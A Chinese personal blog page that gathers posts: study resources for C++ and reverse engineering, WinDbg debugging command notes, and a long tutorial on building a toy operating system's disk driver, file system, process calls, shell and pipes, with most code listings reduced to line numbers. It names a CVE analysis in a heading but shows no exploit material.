下面收集了一些其他平台我发布的文章
CVE-2015-2546 内核Use After Free漏洞分析
]]>转眼间2020就到了末尾,马上就要过年了,祝各位新年快乐。没想到在2020年末尾我能得到微软给我的第一笔2000刀的赏金,明年继续加油,也祝各位0day多多。
我不太清楚有没有人看我的博客,博客也很久没更新了,大多是记载之前的一些文章,现在看起哪些文章我都觉得写的太烂了,如果你能认真看完,那确实太棒了,你的理解学习能力很好。从我接触安全到2021年大概是2年前,我记得我第一次注册看雪论坛是2018-09-13
,当时就想着学最难的技术,能接触到的就是二进制pwn和逆向了吧,无奈很多东西都看不太懂,就只有慢慢补基础,有些时候觉得自己开发能力弱,又不知道该写点什么,导致了我并没有搞清楚自己的学习路线到底应该是啥,所以下面我准备搜集一点关于开发的学习资料,大多数针对C++,感兴趣的同学可以借鉴借鉴。
因为资源的链接不稳定,很容易就没了,所以我还是就放个名字,感兴趣的朋友自己去搜吧,首先是我推荐的视频教程
侯捷老师的C++系列课程
前段时间b站貌似搜得到,现在好像没了,想看的小伙伴可以去YouTube
滴水逆向三期课程
入门友好,很多东西讲的非常透彻,海东老师的功底也非常深厚,需要花时间慢慢消化
看完了上面的东西可以自己买点书来看,侯捷老师翻译的一些书、《C++ Primer》、《Windows核心编程》之类的都很好。
看完了上面的资料,可以写一些项目,如果没时间实现完,至少要知道核心代码的原理,下面是我搜集的一些项目和链接,如果你现在才大二或者更小,那么恭喜你,你还有很多时间写下面的项目,你如果能在大学阶段写完下面的东西,按照开发岗的条件要求自己,那么以后做二进制相关工作是非常非常非常有优势的,至少我所认识的大牛,基本上都是开发出身,或者有很强的编程功底,具体能不能学到东西,你试试就知道了。
还有一些项目我没写进去,可以参考下面这个知乎问题
1 | https://www.zhihu.com/question/29112393/answer/1692382930?utm_source=qq&utm_medium=social&utm_oi=980106412042633216 |
https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/commands
windbg里面下载微软符号都需要梯子,我是这样设置的1
2
3SRV*C:\MyLocalSymbols*http://msdl.microsoft.com/download/symbols
srv*C:\symbols_folder*http://msdl.microsoft.com/download/symbols
SRV*c:\mysymbol* http://msdl.microsoft.com/download/symbols
如果符号没加载出来可以!sym noisy
激活详细符号加载显示,然后再.reload
重新加载看什么问题
下面记录一些常用断点命令
1.硬件断点,最多下四个断点
1 | ba e1 address |
2.软件断点
1 | bp address |
3.条件断点
对寄存器进行监控,eax 等于0x41的时候断下1
ba e1 address ".if @eax = 0x41 {} .else {gc}"
打印一些数据,当在address断下的时候可以打印函数名和rax寄存器里面的内容1
bp address ".echo function name; dq rax; gc"
如果需要指定当前线程中对函数下断点,可以用下面的例子指定当前线程1
ba e1 /t $thread xxx
1.修改寄存器命令,将eax置为1,如果要修改浮点寄存器,需要按格式修改,如下所示
1 | r @eax=1 |
2.修改内存命令,将内存为80505648的数据改为00001234
1 | ed 80505648 00001234 |
1.!process 0 0
显示进程列表
1 | 1: kd> !process 0 0 |
后面加xxx.exe可以指定进程1
2
3
4
51: kd> !process 0 0 smss.exe
PROCESS ffff868520d36400
SessionId: none Cid: 01a4 Peb: 2238d4d000 ParentCid: 0004
DirBase: 12a451002 ObjectTable: ffffc78ec3507480 HandleCount: 53.
Image: smss.exe
也可以根据PID直接搜索1
2
3
4
5
61: kd> !process 470 0
Searching for Process with Cid == 470
PROCESS ffff868523618340
SessionId: 0 Cid: 0470 Peb: d294a3d000 ParentCid: 02bc
DirBase: 1b824002 ObjectTable: ffffc78ec70f7b40 HandleCount: 657.
Image: svchost.exe
2.如果windbg正在调试内核,可以直接修改当前process调试ring3的进程,.process
命令指定要用作进程上下文的进程,直接使用.process
可显示当前进程的EPROCESS
,下面展示了一次切换进程上下文的例子,将0xffff86851c08a300
切换为了ffff868520f77080
,这样就可以直接调ring3的进程,不过需要重新g
跑一下
1 | 1: kd> .process |
!dml_proc
命令直接查看所有进程,非常方便1 | 1: kd> !dml_proc |
1.~
显示所有线程简略信息, ~*
显示所有线程详细信息,最左边有小点的就是当前线程
1 | 0:008> ~ |
显示当前线程
1 | 0:008> ~. |
可以通过!handle
命令查看当前进程所有句柄,需要在内核调试器下才能看句柄信息1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
191: kd> !handle
PROCESS ffff868523618340
SessionId: 0 Cid: 0470 Peb: d294a3d000 ParentCid: 02bc
DirBase: 1b824002 ObjectTable: ffffc78ec70f7b40 HandleCount: 657.
Image: svchost.exe
Handle table at ffffc78ec70f7b40 with 657 entries in use
0004: Object: ffff868521fda960 GrantedAccess: 001f0003 (Protected) (Inherit) Entry: ffffc78ec72a1010
Object: ffff868521fda960 Type: (ffff86851c0a87a0) Event
ObjectHeader: ffff868521fda930 (new version)
HandleCount: 1 PointerCount: 32767
0008: Object: ffff868521fda3e0 GrantedAccess: 001f0003 (Protected) (Inherit) Entry: ffffc78ec72a1020
Object: ffff868521fda3e0 Type: (ffff86851c0a87a0) Event
ObjectHeader: ffff868521fda3b0 (new version)
HandleCount: 1 PointerCount: 32718
...
加上/f
选项即可查看句柄详细信息,此功能大多用在查看驱动设备名1
2
3
4
5
6
7
8
9
10
11
12
131: kd> !handle 0xa0 /f
PROCESS ffff868523618340
SessionId: 0 Cid: 0470 Peb: d294a3d000 ParentCid: 02bc
DirBase: 1b824002 ObjectTable: ffffc78ec70f7b40 HandleCount: 657.
Image: svchost.exe
Handle table at ffffc78ec70f7b40 with 657 entries in use
00a0: Object: ffff868523605b80 GrantedAccess: 00000804 (Protected) (Audit) Entry: ffffc78ec72a1280
Object: ffff868523605b80 Type: (ffff86851c1f56c0) EtwRegistration
ObjectHeader: ffff868523605b50 (new version)
HandleCount: 1 PointerCount: 1
2.查看浮点寄存器,如果直接用 r xmm0
查看寄存器会是科学计数,用下面指令就很方便了
1 | 0: kd> .formats xmm0 |
chain
可以查看Windbg此时已经加载的插件
1 | 0:000> .chain |
.load
可以加载插件,需要指定全部路径,下面是例子
1 | 0:000> .load E:\..\segmentheap.dll |
下面我们需要逐步实现文件系统,在此之前我们需要实现一个硬盘驱动程序,我们之前一直操作的hd60M.img为主盘,里面存放的是我们的内核,我们需要创建一个从盘,用于存放后面的文件系统,具体操作如下,创建一个大小为80MB的hd80M.img磁盘
1 | /home/guang/soft/bochs-2.6.2/bin > ls // 进入bin目录 |
运行bochs观察0x475处物理地址是否显示硬盘数1,表示之前创建的内核镜像hd60M.img
1 | <bochs:2> c |
然后我们需要修改bochsrc.disk文件,将参数写入配置文件
1 | # Configuration file for Bochs |
再次运行bochs测试,成功写入
1 | <bochs:1> c |
首先我们需要配置hd80M.img,将其分区,因Ubuntu 16.04需要给 EFI 代码留磁盘最开始的1M空间,所以分区是从2048开始的,具体的分区结果如下所示,其中5-9分区属性类型设为未知
1 | 设备 启动 Start 末尾 扇区 Size Id 类型 |
现在硬盘上有两个ata通道,第一个通道其中断信号都是挂在8259A的IRQ14上的,第二个通道接在8259A从片的IRQ15上。来自8259A从片的中断都是由8259A主片想处理器传达的,8259A从片是级联在主片的IRQ2接口的,为了让处理器响应8259A从片的中断,需要我们修改interrupt文件,打开中断
1 | /* 初始化可编程中断控制器8259A */ |
我们在内核实现一个内核打印函数,这样就不需要用console系列打印了,具体实现和printf很相似就不详细说明了
1 | /* 供内核使用的格式化输出函数 */ |
接下来具体实现硬盘驱动,首先我们需要引入结构体,具体实现在device目录下创建ide文件
1 | /* 分区结构 */ |
具体实现中我们用到了三个操作命令,分别是identify指令、读扇区指令、写扇区指令
1 | /* 一些硬盘操作的指令 */ |
初始化函数如下,通过获取0x475物理地址处的内容得到硬盘数量,然后通过DIV_ROUND_UP
向上取正的宏计算通道数,然后再循环处理每一个通道
1 | uint8_t channel_cnt; // 按硬盘数计算的通道数 |
在下一步之前我们需要完善一些基础构建,首先我们需要实现thread_yield,其作用是主动把CPU使用权让出来,代码添加在thread文件中
1 | /* 主动让出cpu,换其它线程运行 */ |
下一步实现idle线程,此线程作用就是当就绪队列中没有任务时运行,以免系统悬停在其他地方
1 | /* 系统空闲时运行的线程 */ |
接下来我们需要实现休眠函数,也就是经常使用的sleep函数,为的是当磁盘操作的时候使CPU去执行其他任务,避免资源浪费,改动在timer文件中
1 |
|
接下来继续实现硬盘中断处理函数,下面是选择主盘和从盘的函数,原理就是判断DEV位
1 | /* 选择读写的硬盘 */ |
写入硬盘控制器函数
1 | /* 向硬盘控制器写入起始扇区地址及要读写的扇区数 */ |
命令发送函数
1 | /* 向通道channel发命令cmd */ |
读写硬盘中数据的函数和等待函数
1 | /* 硬盘读入sec_cnt个扇区的数据到buf */ |
读写硬盘函数和中断处理函数,注意和上面函数的区别,下面的函数是从硬盘hd的扇区地址lba处读取sec_cnt个扇区到buf,上面的函数是从硬盘hd中读入sec_cnt个扇区的数据到buf
1 | /* 从硬盘读取sec_cnt个扇区到buf */ |
获取硬盘信息需要用到identify命令,其返回内容如下
扫描分区表需要从MBR开始一步一步遍历主分区,找到扩展分区,然后递归每一个子扩展分区,找到逻辑分区,还是在ide文件中,下面是添加的数据结构
1 | /* 用于记录总扩展分区的起始lba,初始为0,partition_scan时以此为标记 */ |
下面是获取硬盘参数的具体实现
1 | /* 将dst中len个相邻字节交换位置后存入buf */ |
下面是扫描分区表的具体实现
1 | /* 扫描硬盘hd中地址为ext_lba的扇区中的所有分区 */ |
测试结果如下所示
扇区:硬盘是低速设备,其读写单位是扇区。
块:Windows系统中称为簇,一个块由多个扇区组成,磁盘在进行读写数据的时候,不可能有一扇区的数据就读或写一次,而是等数据累计到一定量后,在统一进行读写,而这个数据量就叫块。
块是文件系统的读写单位,故文件起码得有一个块大小,若大于一个块,就需要我们用不同的文件系统对其进行管理,其中FAT采用的就是链式文件系统,如下所示,其弊端是每次寻找块的时候需要从头开始遍历,效率很低,这也是早期Windows采用的管理方法
索引式文件系统是进入UNIX时代的产物,它为文件的所有块建立一个索引表,索引表就是块地址数组,每个数组元素就是块的地址,第n个数组元素指向文件中的第n个块,这样访问任意一个块的时候,只需要从索引表中获得块地址就可以了。而且文件中的块依然可以分散到不连续的零散空间中,索引表的索引结构称为inode,一个文件对应一个inode
和页表机制类似,索引表本身占用内存,当其很大的时候就有一级间接索引表、二级间接索引表、三级间接索引表,结构如下
接下来说说目录和目录项,目录本身也是通过inode表示,区分目录和文件的方法是通过查看inode中数据块,普通文件的inode的数据块是指向普通文件自己的数据的,目录的inode的数据块是指向位于该目录下的目录项的。在目录项中会记录该文件的类型,是属于普通文件,还是属于一个目录。目录项结构图如下,索引文件数据的步骤:
用于管理inode结构和记录的数据结构叫做超级块,超级块的位置和大小是固定的,它被固定存储在各个分区的第2个扇区中,通常占用1扇区的大小,可以类比PCB结构,结构图如下所示
接下来开始一步一步实现,文件系统部分的函数很多,不建议纠结一个函数的作用,要从整体上思考其作用何在,接下来我们开始创建上述的一些数据结构,下面是超级块结构
1 | /* 超级块 */ |
inode结构
1 | struct inode |
目录和目录项的结构
1 | enum file_types |
创建文件系统有以下几步:
1 | /* 格式化分区,也就是初始化分区的元信息,创建文件系统 */ |
创建之后的示意图如下
接下来就是调用上面代码的初始化函数
1 | /* 在磁盘上搜索文件系统,若没有则格式化分区创建文件系统 */ |
我们需要运行两次,第一次负责创建,第二次运行显示创建完毕
为了操作任意一个分区,实现对分区的”拿”和”收”,我们需要完成挂载分区,其实质是把该分区的文件系统的元信息从硬盘上读出来加载到内存中,这样硬盘资源的变化都用内存中元信息来跟踪
1 | struct partition* cur_part; // 默认情况下操作的是哪个分区 |
文件描述符是用户能够交互的对象,它与inode不同的是inode是操作系统为自己的文件系统准备的数据结构,仅供其内部使用,用户难以接触到。用户进程可以多次打开同一个文件,一个文件也可也被多个进程同时打开,每次打开文件的时候,我们就需要记录当时文件的状态,比如当时读取的位置,也叫文件偏移量、文件打开的标志信息,inode指针等,基本结构如下图所示
熟悉Linux编程的朋友肯定知道open函数,其成功调用返回值就是文件描述符,通常情况下是一个int类型的数值0~2,它实际上作为进程pcb中文件描述符数组的下标索引,其指向一个文件结构,在结构中才能获取到文件信息,pcb不直接指向描述符的原因是每次打开文件的时候就需要记录一次,如果这样的话pcb就会变得很大而损失效率,所以采取索引的方式记录,关系图如下所示
下面是具体定义,增加描述符数组在thread文件的task_struct结构中
1 |
|
文件描述符的初始化如下
1 | /* 初始化线程基本信息 */ |
要想操作文件使其创建、打开、读写,首先得准备一些对inode相关操作的函数,存储inode信息的结构如下
1 | /* 用来存储inode位置 */ |
下面是获取inode所在扇区和扇区内的偏移函数
1 | /* 获取inode所在的扇区和扇区内的偏移量 */ |
将inode写入到分区part
1 | /* 将inode写入到分区part */ |
打开和关闭节点的操作函数,其中part->open_inodes的存在是为了提高效率,减少直接访问磁盘的频率
1 | /* 根据i结点号返回相应的i结点 */ |
初始化inode函数
1 | /* 初始化new_inode */ |
文件的一些基本结构定义如下,在fs目录下的file文件中实现
1 | /* 文件结构 */ |
下面是一些文件操作函数
1 | /* 文件表 */ |
下面是一些目录操作的基本函数,下面几个函数功能主要是打开和索引
1 | struct dir root_dir; // 根目录 |
接下来的两个函数负责关闭目录和初始化目录项,需要注意的是根目录不能关闭
1 | /* 关闭目录 */ |
最后这个函数负责将目录项p_de写入父目录parent_dir中,io_buf由主调函数提供
1 | /* 将目录项p_de写入父目录parent_dir中,io_buf由主调函数提供 */ |
路及解析就是把路径按照路径分隔符拆分成多层文件名,逐层在磁盘上查找以确认文件名是否存在,如/a/b/c
拆分为a
,b
,c
。下面的代码比较好理解,就不多解释了
1 | /* 将最上层路径名称解析出来 */ |
文件检索主要负责判断文件是否存在,判断文件同名的这种情况,下面是fs中更新的一些结构体,path_search_record负责查找文件过程中已经处理过的上级路径,比如查找/a/b/c
若找不到的话就需要知道是c不存在还是上级目录a和b不存在,若c不存在searched_path值就为/a/b/c
,若b不存在searched_path的值就为/a/b
1 |
|
下面是具体实现
1 | /* 搜索文件pathname,若找到则返回其inode号,否则返回-1 */ |
首先我们需要实现file_create函数,在实现之前先梳理创建文件的过程:
1 | /* 创建文件,若成功则返回文件描述符,否则返回-1 */ |
open函数的功能相当强大,通过它的打开标志,修改其调用参数,不仅可以打开一个文件,同样可以创建一个文件,所以不单独实现create类函数,文件的创建过程中主要是对绝对路径的解析。在路径没有问题且该文件不存在的前提下,标志设置为O_CREAT
,就会调用之前的file_create函数创建文件。
1 | /* 打开或创建文件成功后,返回文件描述符,否则返回-1 */ |
下面修改main函数并验证
1 | int main(void) { |
测试结果如下,第二次运行显示文件已经存在
接下来我们需要继续改进sys_open,使其支持更多功能,打开文件的核心操作是file_open,实现如下
1 | /* 打开编号为inode_no的inode对应的文件,若成功则返回文件描述符,否则返回-1 */ |
sys_open中增加一个case判断
1 | switch (flags & O_CREAT) { |
close函数原型是int close(int fd)
,其底层核心是file_close
1 | /* 关闭文件 */ |
sys_close实现如下
1 | /* 将文件描述符转化为文件表的下标 */ |
main函数中测试一下刚才的代码
1 | int main(void) { |
我们成功将file1关闭
首先我们需要实现file_write函数,其作用是系统调用write的内核实现,文件最大尺寸是140个块,也就是支持140*512字节数据。写入文件时要判断是否需要分配新的数据块。如果12个直接块不够存储该数据,就分配间接块来存储,当所需的数据块分配好了之后,就会逐块的往硬盘上写入数据,直到所有的数据被写入硬盘,最后返回写入的字节数,代码略长
1 | /* 把buf中的count个字节写入file,成功则返回写入的字节数,失败则返回-1 */ |
接下来改进sys_write
1 | /* 将buf中连续count个字节写入文件描述符fd,成功则返回写入的字节数,失败返回-1 */ |
write系统调用
1 | /* 把buf中count个字符写入文件描述符fd */ |
下面修改一些其他文件就可以对新版write进行测试,main中测试代码如下
1 | int main(void) { |
测试结果如下,这里写入了0xA65处的内存
下面用脚本文件查看0xA65处的内存,这里我连续运行了三次,数据写入和更新正确
上面实现了写入的功能,下面添加读取文件file_read函数,还是老规矩,file文件中先添加框架,然后在fs文件中添加系统调用,实现和write类似,要判断是否超过12个块
1 | /* 从文件file中读取count个字节写入buf, 返回读出的字节数,若到文件尾则返回-1 */ |
接下来就是sys_read,其实就是对file_read的封装
1 | /* 从文件描述符fd指向的文件中读取count个字节到buf,若成功则返回读出的字节数,到文件尾则返回-1 */ |
下面直接测试,main中测试代码如下
1 | int main(void) { |
测试结果如下,和之前写入了三次helloworld数据相符
这个功能类似lseek函数,本质上就是设置文件读写时的起始偏移量,我们需要自由设置文件指针,文件的读写偏移量的设置有三个标志,文件头,文件当前位置,文件尾。
1 | // 文件读写位置偏移量 |
下面是具体实现,其中分别处理了三种flag的情况
1 | /* 重置用于文件读写操作的偏移指针,成功时返回新的偏移量,出错时返回-1 */ |
lseek函数就不单独测试了,下面实现文件删除函数,过程起始就是创建文件的逆过程,我们需要回收inode和删除目录项。
inode相关资源如下
目录项相关资源如下
下面是删除inode部分,其中inode_delete是可有可无的,调试相关
1 | /* 将硬盘分区part上的inode清空 */ |
删除目录项部分
1 | /* 把分区part目录pdir中编号为inode_no的目录项删除 */ |
接下来就是sys_unlink的实现,Linux中删除文件是通过unlink系统调用,原型为int unlink(const char *pathname)
,成功删除返回0,否则返回-1
1 | /* 删除文件(非目录),成功返回0,失败返回-1 */ |
接下来在main中测试
1 | int main(void) { |
测试结果如下
下面实现sys_mkdir函数创建目录,其原型是int mkdir(const char *pathname,mode_t mode)
,所涉及的步骤如下
1 | /* 创建目录pathname,成功返回0,失败返回-1 */ |
接下来进行测试,因为前面删除了file1文件,这里重新创建一个进行测试
1 | int main(void) { |
测试结果如下
遍历目录的原型是opendir和closedir,本质是读取目录中所有的目录项,先打开目录然后遍历,最后关闭目录。下面是sys_opendir和sys_closedir的实现部分,根目录只是简单处理”/.”和”/..”的情况
1 | /* 目录打开成功后返回目录指针,失败返回NULL */ |
下面简单测试一下
1 | int main(void) { |
运行结果如下
我们的目的是遍历目录,我们已经实现了第一步打开和关闭,接下来实现读取目录函数readdir,读取目录的本质是读取目录中的目录项,readdir每次返回目录的一个目录项地址,遍历目录需要循环调用readdir函数,下面是具体实现
1 | /* 读取目录,成功返回1个目录项,失败返回NULL */ |
readdir原型是struct dirent *readdir(DIR *dirp)
,我们也是根据此接口进行实现。在遍历目录的时候我们需要用到目录回绕的功能,使目录的游标dir_pos回到0,他与lseek类似,这里我们用rewinddir实现,其原型是void rewinddir(DIR *dirp)
,下面是系统调用的实现
1 | /* 读取目录dir的1个目录项,成功后返回其目录项地址,到目录尾时或出错时返回NULL */ |
下面测试一下,首先打开目录’/dir1/subdir1’,然后输出目录内容
1 | int main(void) { |
结果如下所示
在删除目录的时候目录非空的话应有提示,故我们需要在删除目录时先判断目录是否为空,不允许删除非空目录,我们继续改进dir文件
1 | /* 判断目录是否为空 */ |
下面实现sys_rmdir,其原型是int rmdir(const char *pathname)
,首先判断待删除文件是否存在,然后在进行删除
1 | /* 删除空目录,成功时返回0,失败时返回-1*/ |
下面继续测试,测试代码如下
1 | int main(void) { |
测试结果如下,目前根目录存在file1文件和目录dir1,dir1存在subdir1,subbdir1中存在file2,先直接删除/dir1/subdir1目录,因为目录非空会失败,接下来通过sys_rmdir和sys_unlink分别删除/dir1/subdir1/file2,最后删除/dir1/subdir1,然后再次输出/dir1内容
接下来我们需要实现Linux中的pwd功能,显示当前工作目录和cd切换目录的功能。其中重点是”..”获取父目录,我们循环使用获取父目录的函数,直到获取到根目录为止就可以获取到绝对路径,下面逐步实现
1 | /* 获得父目录的inode编号 */ |
下面是sys_getcwd的实现,其原型是char *getcwd(char *buf, size_t size)
,buf若用户不提供就传入NULL,系统用malloc自动分配缓冲区,具体实现如下
1 | /* 把当前工作目录绝对路径写入buf, size是buf的大小. |
Linux中采用chdir改变当前工作目录,原型是int chdir(const char *path)
,我们先实现接口sys_chdir
1 | /* 更改当前工作目录为绝对路径path,成功则返回0,失败返回-1 */ |
任务工作目录记录在PCB中的cwd_incode_nr中,修改工作目录的核心即修改cwd_incode_nr,接下来在main中进行测试,首先获取当前工作目录并输出,然后将目录改为/dir1,最后再次获得目录并输出
1 | int main(void) { |
测试结果如下
在Linux中输入ls -l命令查看目录的时候不仅显示目录中文件,还显示了属性信息,其底层实现是反复使用系统调用write和stat64,其中stat64负责获得文件的属性信息,是64位版本的stat函数,write负责打印信息到屏幕,首先我们需要实现sys_stat,结构体添加如下
1 | /* 文件属性结构体 */ |
下面是具体实现,首先path判断是否为根目录,如果是就直接在buf中写入根目录信息,若不是则进一步获取信息
1 | /* 在buf中填充文件结构相关信息,成功时返回0,失败返回-1 */ |
接下来在main中测试,分别获取根目录和/dir目录的信息
1 | int main(void) { |
测试结果如下
fork原型是pid_t fork(void)
,我们首先测试一段代码,观察其性质
1 |
|
下面是与运行结果,你会发现if和else分支都执行了
1 | I am father, my pid is 103461 |
fork的作用是克隆进程,它有三个返回值
进程是运行的程序,比如程序a运行变成了进程a,同时又加载了一次程序a到内存,就有两个一模一样的程序体,但用户输入不同,就会有不同的执行分支。总结来说fork就是克隆进程,克隆的进程称为子进程,和父进程的区别就是子进程是在fork返回之后开始执行的,上例fork之后子进程和父进程的下一个执行语句都为if (pid == -1)
fork就是把某个进程的全部资源复制了一份,然后让处理器的cs:eip寄存器指向新进程的指令部分,故fork需要先复制资源,然后跳过去执行,复制的资源包括
克隆进程的执行只需要将其放入就绪队列即可,下面是一些拷贝操作
1 | /* 将父进程的pcb、虚拟地址位图拷贝给子进程 */ |
父进程调用fork时会进入内核态进行系统调用,中断入口程序会保存父进程的上下文和cs:ip,因此才会正常返回执行后面的代码,子进程要从fork后开始执行,就需要和父进程一样从中断退出,经过intr_exit,下面是具体实现部分
1 | /* 为子进程构建thread_stack和修改返回值 */ |
下面我们添加fork系统调用和init进程初始化,init是用户级进程,是第一个启用的程序,其pid为1,也就是所有进程的父进程。fork系统调用的实现步骤如下
pid_t fork(void)
下面是main.c中添加init进程代码
1 | /* init进程 */ |
为了争夺pid为1的进程,我们需要修改thread.c中的代码,在创建主线程之前就创建init进程
1 | /* 初始化线程环境 */ |
编译测试效果如下
下面添加一些其他系统调用,因为在后面shell交互的时候我们需要知道用户的输入,所以我们首先添加read系统调用,我们先修改sys_read让其支持键盘,后面几步就是添加read原型ssize_t read(int fd, void *buf, size_t count)
,添加系统调用
1 | /* 从文件描述符fd指向的文件中读取count个字节到buf,若成功则返回读出的字节数,到文件尾则返回-1 */ |
下面是putchar和clear的函数,其中putchar原型是int putchar(int c)
,我们可以直接用现有的console_put_char函数。对于clear操作,涉及到清屏,就需要用汇编实现,具体内容在print.S中,如下所示
1 | global cls_screen |
下面是系统调用的添加,后面的一些操作和上面类似,就不具体列出了
1 | /* 输出一个字符 */ |
接下来我们需要实现shell,支持一些简单的命令,和之前的代码联系起来,我们的shell实现新建一个shell目录,用shell.c和.h进行具体实现,其中比较关键的函数是readline,主要通过循环一个字符一个字符读取到pos中,然后进行判断处理
1 |
|
下面在main中测试一下
1 | int main(void) { |
结果如下,实现了一个简单的终端,还没有实现交互
Linux中ctrl+u作用是清除本次输入,相当于连续退格。ctrl+l相当于clear命令清屏,不过不会清除当前终端正在输入的内容。我们在shell中继续添加代码,其中ctrl+l分四步完成
1 | /* 从键盘缓冲区中最多读入count个字节到buf。*/ |
接下来我们需要读入shell中输入的字符,实现交互cmd_parse将解析出来的命令指针存如argv数组,然后通过循环进行下一步处理
1 | /* 分析字符串cmd_str中以token为分隔符的单词,将各单词的指针存入argv数组 */ |
下面测试一下,可以正常处理字符串
下面添加一大堆系统调用,实现shell交互,首先添加系统调用
1 |
|
然后增加系统调用实现
1 | /* 获取当前工作目录 */ |
然后在syscall_table中注册
1 | /* 初始化系统调用 */ |
其中命令ps在thread中的实现核心sys_ps如下
1 | /* 打印任务列表 */ |
绝对路径是当前文件的全路径,相对路径是以当前工作路径为基础进行操作。要判断这两个路径最好的方法就是判断输入路径,若输入路径以根目录的”/“开头则认为是相对路径,路径解析主要把路径中的”..”和”.”替换成实际的目录,将用户键入的路径,无论是绝对路径还是相对路径,一律转换成不含”.”和”..”的绝对路径进行2操作
1 | /* 将路径old_abs_path中的..和.转换为实际路径后存入new_abs_path */ |
上面的代码我们就先不测试了,待会一起进行测试,接下来我们继续完善ls,cd,mkdir,ps,rm等命令,我们采用内部函数的方法对其进行实现,遵循以下几点
buildin_ + 命令名
组合1 | /* pwd命令的内建函数 */ |
调用这些命令就需要修改shell文件,因为这个文件能够获取用户的输入,下面的argv[0]也就是用户输入的命令,通过memset进行比较
1 | char* argv[MAX_ARG_NR]; // argv为全局变量,为了以后exec的程序可访问参数 |
下面测试一下
接下来我们需要从硬盘上加载程序,实现exec,exec会把一个可执行文件的绝对路径作为参数,把当前正在运行的用户进程的进程体(代码段、数据段、堆、栈)用该可执行文件的进程体替换,从而实现了新进程的执行,新进程只会替换老进程,因此pid仍然是老进程的pid,之前的shell是通过if-else结构对用户输入进行处理,要添加系统调用就会很麻烦,但有了exec之后就可以完成任意外部命令(用户进程)的运行。下面是具体实现,首先添加elf相关结构体
1 | extern void intr_exit(void); |
先实现段加载到内存的函数
1 | /* 将文件描述符fd指向的文件中,偏移为offset,大小为filesz的段加载到虚拟地址为vaddr的内存 */ |
把段内存分配完之后就是加载进程到内存中
1 | /* 从文件系统上加载用户程序pathname,成功则返回程序的起始地址,否则返回-1 */ |
最后就是sys_execv函数,用path指向的程序替换当前进程
1 | /* 用path指向的程序替换当前进程 */ |
由于有系统调用exec,我们shell中就可以添加外部调用命令,Linux中执行命令是bash(或其他shell)先fork一个子进程,然后调用exec去执行命令。我们也效仿这种方式
1 | [...] |
接下来我们需要实现让用户程序跑起来,有下面几步
首先实现用户程序
1 |
|
然后编写编译脚本
1 | #### 此脚本应该在command目录下执行 |
最后在main中测试,加载用户程序
1 | int main(void) { |
先编译kernel,在编译compile.sh,成功加载用户程序
下面我们需要增加参数,也就是多一个传参的过程,但是我们这里传的参数是来自用户程序的,这就要涉及到CRT相关知识点了,在main函数执行前有很多初始化工作,比如start之类的函数,其中很流行的一个框架就是C运行时库也就是CRT,由它来调用main函数并传递参数,如下图所示
我们要传递来自用户的参数,就需要自己实现一个简单的”CRT”,下面是一个很简单的例子,就是单纯传递main的参数
1 | [bits 32] |
然后我们测试程序prog_arg.c如下
1 |
|
编译脚本
1 | #### 此脚本应该在command目录下执行 |
最后测试一下效果
exit作用就是结束进程,wait作用是阻塞父进程自己,直到子进程结束运行,若没有子进程则返回-1,若有则遍历找到其子进程然后等待子进程退出后唤醒父进程。exit是由子进程调用,表面上功能是使子进程结束运行并传递返回值给内核,本质上内核在幕后会将进程除pcb以外的所有资源回收。wait是父进程调用的,表面上功能是使父进程阻塞自己,直到进程调用exit结束运行,然后获得子进程返回值,本质上是内核在幕后将子进程的返回值传递给父进程并唤醒父进程,然后将子进程的pcb回收。下面是实现部分,首先是释放用户进程资源的函数
1 | /* 释放用户进程资源: |
下面是list_traversal回调三个函数,find_child功能是查找pelem的parent_pid是否是ppid,具体实现就是找父进程pid为ppid的子进程。find_hanging_child负责查找状态为TASK_HANGING的任务。init_adopt_a_child负责将一个子进程过继给init,使init作为该进程的父进程。
1 | /* list_traversal的回调函数, |
下面就是sys_wait和sys_exit的具体实现,注释比较详尽
1 | /* 等待子进程调用exit,将子进程的退出状态保存到status指向的变量. |
cat负责查看文件内容,我们这里实现一个简单的cat,只支持一个参数,下面是实现,首先判断参数是否为一个,然后用malloc申请1024字节的内存用作缓冲区buf,512字节的abs_path用于存储参数的绝对路径
1 |
|
下面修改shell.c的文件,把之前的while(1)替换掉
1 | } else { // 如果是外部命令,需要从磁盘上加载 |
下面是main中测试代码,把cat写入分区sda的根目录
1 | int main(void) { |
测试结果如下
进程虽然是独立的,但有很多相互通信的例子,比如进程A传消息给进程B等,实现这种相互通信的机制有很多方法,如消息队列、共享内存、socket网络通信等,还有一种就是我们要实现的管道。Linux中一切皆文件,故管道也是文件,只是其存在于内存中,仍然可以用open、close等函数操作。管道通常被多个进程共享,其原理是所有进程在地址空间中都可以访问它,也就是内核中的内存缓冲区。
管道是数据的一个中转站,当某个进程往管道中写入数据后,该数据就会被另一个进程读取,之后用新的数据覆盖旧数据,既然是一块数据缓存区,就应该有一个大小。但是由于写入的数据大小是不确定的,这块缓存区的大小很难确定下来,一般来说会使用环形缓存区来存储数据,通过生产者消费者模型对这块环形缓冲区的数据进行读写。这个环形缓冲区用两个指针来维护,一个专门负责读,一个专门负责写,当缓冲区数据满时,生产者睡眠并唤醒消费者。缓冲区空时,消费者睡眠,唤醒生产者。
管道有两端,一端用来读,一端用来写。这个两端的概念实质上是内核为一个管道分配了两个文件描述符,一个负责写,一个负责读。它的模型如下图
管道不可能字节读写自己,所以一般操作是创建管道之后,fork子进程,这个子进程和父进程资源一样,所以两者可以相互实现通信,如下图所示
管道分为匿名管道和命名管道,其区别就是名称,没有名称也就只能用内核返回的文件描述符访问,仅仅局限于父子进程通信。有名称就可以实现对所有进程通信。
Linux为了向文件系统的上层提供统一接口,加了一层中间层VFS(virtual file system),Linux处理管道时是利用现有的文件结构和VFS中inode共同完成的,并没有为管道提供另外的数据结构。如下图所示,文件结构中的f_indoe指向VFS的inode,该inode指向一个页框大小的内存区域,该区域用于存储管道的数据,也就是说Linux的管道大小是4096字节
我们的管道设计图如下
Linux创建管道方法是系统调用pipe,原型是int pipe(int pipefd[2])
,成功返回0,失败返回-1,其中pipefd[2]是长度为2的整型数组,用于存储系统返回的文件描述符,fd[0]用于读取管道,fd[1]用于写入管道。下面是创建管道
1 | /* 判断文件描述符local_fd是否是管道 */ |
读取管道中数据,从文件描述符fd中读取count字节到buf
1 | /* 从管道中读数据 */ |
向管道中写入数据,把缓冲区buf中的count个字节写入管道对应的文件描述符fd
1 | /* 往管道中写数据 */ |
下面是利用管道实现进程间通信的代码,下面就不测试了,直接最后一起测试
1 |
|
接下来我们需要在shell中支持管道命令,管道命令如下
